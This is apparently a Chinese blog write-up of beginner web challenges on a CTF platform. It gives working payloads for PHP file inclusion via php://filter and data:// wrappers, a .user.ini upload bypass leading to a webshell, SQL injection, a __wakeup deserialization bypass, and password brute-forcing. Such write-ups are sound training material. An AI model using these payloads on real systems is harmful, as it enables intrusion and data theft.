之前就把攻防世界Web难度1刷完了✅,今天打开发现难度1加了几题,补个WP水水💦博客
file_include
打开题目发现是个文件包含的题目,使用php://filter读文件发现存在过滤,通过控制变量得出过滤了base64
,read
这样的关键词
这里考虑使用convert.iconv.*
转换过滤器,用法是
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
<input-encoding>和<output-encoding>
就是编码方式,详细可以参见php的编码表
这里我们使用UCS-4转为UCS-4BE
fileclude
题目页面直接给了源码:
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
include($file1)
处存在文件包含漏洞,使用php伪协议来绕过:?file1=php://filter/read=convert.base64-encode/resource=flag.php
file2被放入了file_get_contents
函数中,并要求返回值为hello ctf,我们可以使用php://input
来绕过,同时POST传入hello ctf。或者是使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输,所以这里我们可以:file2=data://text/plain;base64,aGVsbG8gY3Rm
或者是file2=data://text/plain,hello ctf
最终构造payload:
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
fileinclude
查看源码:
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<br />
<b>Notice</b>: Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html></html>
@include($lan.".php");
处存在文件包含漏洞,我们使php伪协议绕过,同时注意到变量lan的值来自于cookie,所以我们在cookie传入language=php://filter/read=convert.base64-encode/resource=flag
easyupload
读题得知应考虑文件上传漏洞,利用fastcgi的.user.ini特性进行任意命令执行
这里需要绕过的点如下
- 检查文件内容是否有php字符串——短标签绕过,例如
<?=phpinfo();?>
- 检查后缀中是否有htaccess或ph——上传.user.ini以及正常图片文件来进行getshell
- 检查文件头部信息——在文件头部添加一个图片的文件头,比如
GIF89a
- 文件MIME类型——修改上传时的Content-Type
.user.ini是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
我们先创建一个.user.ini文件:
将其直接上传则会上传失败,显示“your filetype looks wicked”,这时我们将Content-Type改为image/png即可成功上传
接着我们上传php一句话,文件名改为in.png
使用蚁剑连接即可访问目录打开flag
inget
题目提示输入id,尝试绕过,从而想到使用sql注入
payload:?id=1'or'1
baby_web
访问/index.php,查看响应头
simple_php
php中有两种比较符号:
=== 会同时比较字符串的值和类型
== 会先将字符串换成相同类型,再作比较,属于弱类型比较
payload:
?a=a&b=1234b
weak_auth
根据题意,应该是考擦弱密码相关,直接开burp爆破
得出用户名为admin,密码为123456
disabled_button
删除disabled=""
即可
cookie
直接看cookie,访问/cookie.php再看响应头
backup
访问/index.php.bak,再打开查看即可
robots
访问/robots.txt,再访问f1ag_1s_h3re.php即可
get_post
get提交a=1,post提交b=2
view_source
右键查看不了源代码,可以在网址前加view-source:再访问查看源代码,也可以ctrl+s保存网页到本地查看源代码
ics-06
注意到报表中心网址有个id参数,直接开burp爆破
请求参数id=2333即可
unserialize3
public属性序列化后格式为:数据类型:属性名长度:“属性名”;数据类型:属性值长度:“属性值”
本题目中,只存在一个变量,正常情况下序列化后结果为
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
而wakeup()漏洞就是与整个属性个数值有关,当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。
当我们将上述的序列化的字符串中的对象属性个数修改为大于1的数字,变为:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
再作为code参数请求即可
php2
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。
这题我们访问/index.phps,再查看源代码:
通过代码审计知道,要求传入的id参数url解码后为admin,则我们进行二次url编码:
admin二次编码为%2561%2564%256d%2569%256e
payload:?id=%2561%2564%256d%2569%256e
Training-WWW-Robots
访问/robots.txt,再访问/fl0g.php